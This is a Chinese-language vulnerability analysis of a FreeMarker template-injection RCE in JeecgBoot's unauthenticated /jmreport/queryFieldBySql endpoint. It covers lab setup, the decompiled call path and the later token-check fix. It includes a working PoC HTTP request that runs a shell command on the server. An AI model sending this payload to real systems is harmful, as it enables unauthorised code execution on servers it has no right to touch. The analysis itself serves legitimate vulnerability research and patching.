jeecg boot queryFieldBySql RCE漏洞分析
jeecg boot queryFieldBySql RCE漏洞分析
原创 kkk 漏洞推送 2025-02-08 08:59
环境搭建
后端
源码地址:
https://github.com/jeecgboot/JeecgBoot
找到v3.5.3的commit,创建一个分支
安装Maven依赖
数据库配置文件: jeecg-module-system/jeecg-system-start/src/main/resources/application-dev.yml
启动mysql: docker run -itd –name jeecg_mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.7
解决Table ‘test.QRTZ_TRIGGERS’ doesn’t exist
问题
docker cp jeecg_mysql:/etc/my.cnf my.cnf
[mysqld]下面加入
lower_case_table_names=1
docker cp my.cnf jeecg_mysql:/etc/my.cnf
重启mysql
导入数据库: jeecg-boot/db/jeecgboot-mysql-5.7.sql
启动redis: docker run -itd -p 6379:6379 –name jeecg_redis redis
启动项目: jeecg-system-start/src/main/java/org/jeecg/JeecgSystemApplication.java
漏洞复现
poc:
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.1.108:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0 Config/100.2.9281.82
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: zh-CN,zh
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 124
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
"type": "0"
}
漏洞分析
jeecg使用shiro做鉴权框架,配置文件在 src/main/java/org/jeecg/config/shiro/ShiroConfig.java
设置了jmreport api排除
//积木报表排除
filterChainDefinitionMap.put("/jmreport/**", "anon");
filterChainDefinitionMap.put("/**/*.js.map", "anon");
filterChainDefinitionMap.put("/**/*.css.map", "anon");
反编译jar包,定位到漏洞路由
/org/jeecgframework/jimureport/jimureport-spring-boot-starter/1.5.9/jimureport-spring-boot-starter-1.5.9.jar!/org/jeecg/modules/jmreport/desreport/a/a.class:596#parseReportSql
request进入到c函数后,有一个简单的sql过滤的处理
然后传递给org.jeecg.modules.jmreport.desreport.service.a.i
的parseReportSql
方法
@PostMapping({"/queryFieldBySql"})
public Result<?> c(@RequestBody JSONObject var1) {
...
Map var12 = this.reportDbService.parseReportSql(var2, var3, var4, var5);
...
}
parseReportSql函数中,主要关注 sql = f.a(sql, var8, (JSONArray)null);
public Map<String, Object> parseReportSql(String sql, String dbKey, Object paramArray, String type) throws JimuReportException {
HashMap var5 = new HashMap(5);
new ArrayList();
String var7 = this.jimuTokenClient.getToken();
Map var8 = null;
if (g.d(var7)) {
var8 = this.jimuTokenClient.getUserInfo(var7);
}
if (g.d(paramArray)) {
sql = f.a(sql, var8, JSONArray.parseArray(paramArray.toString()));
} else {
sql = f.a(sql, var8, (JSONArray)null);
}
...
}
a函数传递给了另一个a函数
public static String a(String var0, Map<String, Object> var1, JSONArray var2) {
...
var0 = a(var2, var0);
...
}
a函数传递给了FreeMarkerUtils的a函数
public static String a(JSONArray var0, String var1) {
...
var1 = FreeMarkerUtils.a(var1, var2);
...
}
FreeMarkerUtils的a函数如下,将sql语句带入模板进行执行,完成rce:
public static String a(String var0, Map<String, Object> var1) {
if (var0 == null) {
return null;
} else {
Configuration var2 = new Configuration();
var2.setNumberFormat("#.#########");
var2.setSharedVariable("func", new FunctionMethod());
var1.put("jeecg", new FreemarkerMethod());
var1.put("isNotEmpty", new NotEmptyMethod());
var2.setClassicCompatible(true);
StringWriter var3 = new StringWriter();
try {
a.debug("模板内容:{}", var0.toString());
(new Template("template", new StringReader(var0), var2)).process(var1, var3);
a.debug("模板解析结果:{}", var3.toString());
} catch (TemplateException var5) {
var5.printStackTrace();
} catch (IOException var6) {
var6.printStackTrace();
}
return var3.toString();
}
}
漏洞修复
更新到最新代码后,直接访问发现提示token检验识别
但是在shiro中并没有对这个权限进行校验
//积木报表排除
filterChainDefinitionMap.put("/jmreport/**", "anon");
根据日志o.j.m.j.c.f.interceptor.JimuReportTokenInterceptor:131
可以找到相关的过滤代码
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (!(handler instanceof HandlerMethod)) {
return true;
} else {
String var4 = e.j(request.getRequestURI().substring(request.getContextPath().length()));
short var5 = 500;
if (m.a(var4)) {
log.error("请注意,请求地址有xss攻击风险!" + var4);
this.backError(response, "请求地址有xss攻击风险!", Integer.valueOf(var5));
return false;
} else {
String var6 = this.jmBaseConfig.getCustomPrePath();
if (OkConvertUtils.isNotEmpty(var6) && !var6.startsWith("/")) {
var6 = "/" + var6;
}
request.setAttribute("customPrePath", var6);
HandlerMethod var7 = (HandlerMethod)handler;
Method var8 = var7.getMethod();
if (var4.contains("/jmreport/shareView/")) {
return true;
} else {
JimuNoLoginRequired var9 = (JimuNoLoginRequired)var8.getAnnotation(JimuNoLoginRequired.class);
if (OkConvertUtils.isNotEmpty(var9)) {
return true;
} else {
boolean var10 = false;
try {
var10 = this.verifyToken(request);
} catch (Exception var14) {
}
if (!var10) {
if (this.jimuReportShareService.isSharingEffective(var4, request)) {
return true;
} else {
String var16 = request.getParameter("previousPage");
if (OkConvertUtils.isNotEmpty(var16)) {
if (!var4.startsWith("/jmreport/view")) {
log.error("不被允许的钻取请求地址(" + request.getMethod() + "):" + var4);
this.backError(response, "Token校验失败,无权限访问!", Integer.valueOf(var5));
return false;
} else if (this.jimuReportShareService.isShareingToken(var4, request)) {
return true;
} else {
log.error("分享链接失效或分享token不匹配(" + request.getMethod() + "):" + var4);
this.backError(response, "分享链接失效或分享token不匹配,禁止钻取!", Integer.valueOf(var5));
return false;
}
} else {
log.error("Token校验失败!请求无权限(" + request.getMethod() + "):" + var4);
this.backError(response, "Token校验失败,无权限访问!", Integer.valueOf(var5));
return false;
}
}
} else {
RequiresRoles var15 = (RequiresRoles)var8.getAnnotation(RequiresRoles.class);
Result var11 = this.permissionsVerifyHandler.verifyRoles(request, var15, var4);
if (OkConvertUtils.isNotEmpty(var11) && !var11.isSuccess()) {
this.backError(response, OkConvertUtils.getString(var11.getMessage(), "没有权限,请联系管理员分配权限!"), OkConvertUtils.getInt(var11.getCode(), var5));
return false;
} else {
RequiresPermissions var12 = (RequiresPermissions)var8.getAnnotation(RequiresPermissions.class);
Result var13 = this.permissionsVerifyHandler.verifyPermissions(request, var12);
if (OkConvertUtils.isNotEmpty(var13) && !var13.isSuccess()) {
this.backError(response, OkConvertUtils.getString(var13.getMessage(), "没有权限,请联系管理员分配权限!"), OkConvertUtils.getInt(var13.getCode(), var5));
return false;
} else {
return true;
}
}
}
}
}
}
}
}
如果方法没有使用JimuNoLoginRequired注解就需要验证token,并且强制要求url以/jmreport/view
开头,否则不允许访问
参考文档
https://help.jeecg.com/java/setup/idea/startup.html